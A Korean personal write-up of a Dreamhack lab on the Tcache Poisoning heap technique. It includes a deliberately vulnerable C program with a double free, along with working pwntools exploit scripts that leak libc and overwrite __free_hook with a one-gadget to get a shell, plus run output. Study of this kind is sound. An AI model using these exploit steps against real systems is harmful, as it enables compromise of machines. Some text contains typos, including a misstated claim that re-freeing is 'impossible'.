읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
Tcache Poisoning
Tcache Poisoning은 tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법을 말한다.
원리
중복으로 연결된 청크를 재할당하면, 그 청크는 할당된 청크이면서, 동시헤 해제된 청크가 된다., 청크의 구조를 떠올려 보면, 이러한 중첩 상태가 어떻게 문제로 이어지는지 이해할 수 있다.
왼쪽은 할당된 청크이고 오른쪽은 해제된 청크의 레이아웃이다. 이 둘을 겹쳐보면 할당된 청크에서 데이터를 저장하는 부분이 해제된 청크에서는 fd와 bk 값을 저장하는데 사용된다는 것을 알 수 있다.


따라서 공격자가 중첩 상태인 청크에 임의의 값을 쓸 수 있다면, 그 청크의 fd와 bk를 조작할 . 수있으며, 이는 다시 말해 ptmalloc2의 free list에 임의 주소를 추가할 수 있음을 의미한다.
ptmalloc2는 동적 할당 요청에 대해 free list의 청크를 먼저 반환하므로, 이를 이용하면 공격자는 임의 주소에 청크를 할당할 수 있다.
효과
Tcache Poisoning으로 할당한 청크에 대해 값을 출력하거나, 조작할 수 있다면 <u>임의 주소 읽기(Arbitrary Address Read, AAR)와 임의 주소 쓰기(Arbitrary Address Write, AAW)가 가능하다.
분석 및 설계
분석
보호 기법
checksec 명령어로 파악한다.
$ checksec tcache_poison
[*] '/home/dreamhack/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
NX와 FULL RELRO 보호 기법이 적용되어 있으므로 셸코드를 실행하기 어렵고, GOT 오버라이트 공격도 수행하기 어렵다. 이때 훅을 덮는 공격을 고려해볼 수 있다.
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\\n");
printf("2. Free\\n");
printf("3. Print\\n");
printf("4. Edit\\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
예제에서는 청크의 임의 크기로 할당할 수 있고, 해제할 수 있으며, 청크의 값을 출력하거나 조작하는 것이 모두 가능하다. 청크를 해제하는 case 2: 부분을 살펴보면, 청크를 해제하고나서 chunk 포인터를 초기화하지 않으므로 이를 다시 해제하는 것이 불가능하다. 즉, Double Free 취약점이 존재한다.
또한, chunk 포인터를 초기화하지 않으므로 해제된 청크의 데이터를 case 4:에서 조작할 수 있다. 이를 이용하면 Double Free와 관련된 보호 기법을 우회할 수 있을 것이다.
따라서 한 청크를 Double Free하여 free list인 tcache에 중복으로 연결된 상태를 만든 후에, 재할당 하여 할당된 청크이면서 free list에 존재하는 청크로 만들어 Tcache Poisoning 공격을 수행할 수 있다. 그 상태에서 임의 주소에 청크를 할당한 후 값을 쓰면 임의 주소 쓰기가 가능하고, 임의 주소에 청크를 할당한 후 값을 읽으면 임의 주소 읽기가 가능하다.
익스플로잇 설계
익스플로잇의 목표는 훅을 덮어서 실행 흐름으로 조작하고, 결과적으로 셸을 획득하는 것이다. 임의 주소 읽기로 libc가 매핑된 주소를 알아내면 __free_hook 또는 __malloc_hook의 주소를 계산할 수 있고, 임의 주소 쓰기로 해당 주소에 원 가젯 주소를 덮어쓰면 될 것이다.
코드에 Double Free 취약점이 있고, 관련된 우회기법을 우회하는 것도 가능하므로 Tcache Poisoning으로 위의 Primitive들을 모두 획득할 수 있다.
1. Tcache Poisoning
임의 주소 읽기 및 쓰기를 위해 Tcache Poisoning을 사용할 것이다. 위에서 살펴봤듯, 관련된 보호기법이 없으므로 적당한 크기의 청크를 할당하고, key를 조작한 뒤, 다시 해제하면 Tcache Duplication이 가능하다.
그 상태에서, 다시 청크를 할당하고 원하는 주소를 값으로 쓰면 tcache에 임의 주소를 추가할 수 있을 것이다.
2. Libc Leak
setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다. 따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여
libc의 주소를 계산할 수 있다.
이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다. Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.
3. Hook Overwrite to get shell
Libc가 매핑된 주소를 구했다면, 그로부터 원 가젯의 주소와 __free_hook의 주소를 계산할 수 있다. 다시 Tcache Poisoning으로 _-free_hook에 청크를 할당하고, 그 청크에 적절한 원 가젯의 주소를 입력하면 free를 호출하여 셸을 획득할 수 있을것이다.
익스플로잇
Tcache Poisoning
Double Free를 일으키고, Tcache Poisoning으로 0x40크기의 청크를 다루는 tcache 엔트리에 0x4141414141414141을 추가하는 스크립트를 작성해보자.
그 상태에서 0x40 크기의 청크를 두 번 할당하여 공격이 성공했는지 확인할 수 있다. 다음과 같이 프로세스가 SIGSEGV로 종료되면 성공한 것이다.
$ LD_REPLOAD=$(realpath ./libc-2.27.so)
$ python3 tcache_poison.py
[+] Starting local process './tcache_poison': pid 1062
[*] '/home/dreamhack/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
1. Allocate
2. Free
3. Print
4. Edit
$ 1
Size: $ 48
Content: $ dreamhack
1. Allocate
2. Free
3. Print
4. Edit
$ 1
Size: $ 48
[*]Got EOF while reading in interactive
$
[*] Process './tcache_poison' stopped with exit code -11 (SIGSEGV) (pid 1062)
[*] Got EOF while sending in interactive
#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *
p = process('./tcache_poison')
e = ELF('./tcache_poison')
def slog(symbol, addr): return success(symbol + ': ' + hex(addr))
def alloc(size, data):
p.sendlineafter(b'Edit\\n', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendafter(b':', data)
def free():
p.sendlineafter(b'Edit\\n', b'2')
def print_chunk():
p.sendlineafter(b'Edit\\n', b'3')
def edit(data):
p.sendlineafter(b'Edit\\n', b'4')
p.sendafter(b':', data)
# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty
# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()
# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A
edit(b'B'*8 + b'\\x00')
free()
# Append 0x4141414141414141 to tcache[0x40]
# tcache[0x40]: chunk A -> 0x4141414141414141
alloc(0x30, b'AAAAAAAA')
p.interactive()
Libc leak
일반적으로 setvbuf(stdout, 0, 2, 0);와 같이 표준 출력 스트림인 stdout을 코드 상에서 명시적으로 사용하면, 바이너리의 .bss 영역에 libc 내 _IO_2_1_stdout_을 가리키는 포인터가 존재하게 된다. .bss영역 내의 stdout 포인터는 바이너리가 실행된 후 libc 영역의 _IO_2_1_stdout_ 주소를 가리키도록 초기화되므로, 이를 릭할 수만 있다면 libc가 매핑된 주소를 계산할 수 있다.
이를 위해 Tcache Poisoning으로 .bss 섹션의 stdout에 청크를 할당하고, 값을 읽어서 libc가 매핑된 주소 및 원 가젯과 __free_hook의 주소를 계산 해보자.
여기, stdout은 표준 출력과 관련된 중요한 포인터 변수이므로, 가리키는 주소 값을 변경하지 않도록 주의해야 한다.
$ export LD_PRELOAD=$(realpath ./libc-2.27.so)
$ python3 tcache_poison.py
[+] Starting local process './tcache_poison': pid 3531
[*] '/home/dreamhack/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/dreamhack/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] free_hook: 0x7fba4df128e8
[+] one_gadget: 0x7fba4db74432
#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *
p = process('./tcache_poison')
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def slog(symbol, addr): return success(symbol + ': ' + hex(addr))
def alloc(size, data):
p.sendlineafter(b'Edit\\n', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendafter(b':', data)
def free():
p.sendlineafter(b'Edit\\n', b'2')
def print_chunk():
p.sendlineafter(b'Edit\\n', b'3')
def edit(data):
p.sendlineafter(b'Edit\\n', b'4')
p.sendafter(b':', data)
# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty
# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()
# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A
edit(b'B'*8 + b'\\x00')
free()
# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')
# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`
# Libc leak
print_chunk()
p.recvuntil('Content: ')
stdout = u64(p.recv(6).ljust(8, b'\\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432
slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)
p.interactive()
Hook overwrite to get shell
이제 앞서 계산한 __free_hook의 주소에 Tcache Poisoning으로 청크를 할당하고, 원 가젯의 주소를 덮어쓰면, free를 호출하여 셸을 획득할 수 있다.
여기서 주의할 점은, 앞서 오염시킨 tcache[0x40]을 재사용해서는 안된다는 것이다. Tcache Poisoning으로 stdout에 청크를 할당받을 때, stdout의 fd는 _IO_2_1_stdout_이었다.
따라서 이 상태에서 0x30의 크기로 다시 할당을 요청하면, _IO_2_1_stdout_에 청크를 할당받게 된다. 해당 구조체는 표준 출력과 관련하여 중요한 역할을 하므로, 임의로 값을 조작해선 안된다. 이런 경우에는 다른 크기의 tcache를 대상으로 공격을 시도하는 것이 좋다.
$ export LD_PRELOAD=$(realpath ./libc-2.27.so)
$ python3 tcache_poison.py
[+] Starting local process './tcache_poison': pid 985
[*] '/home/dreamhack/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/dreamhack/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] free_hook: 0x7fd18b3c58e8
[+] one_gadget: 0x7fd18b027432
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글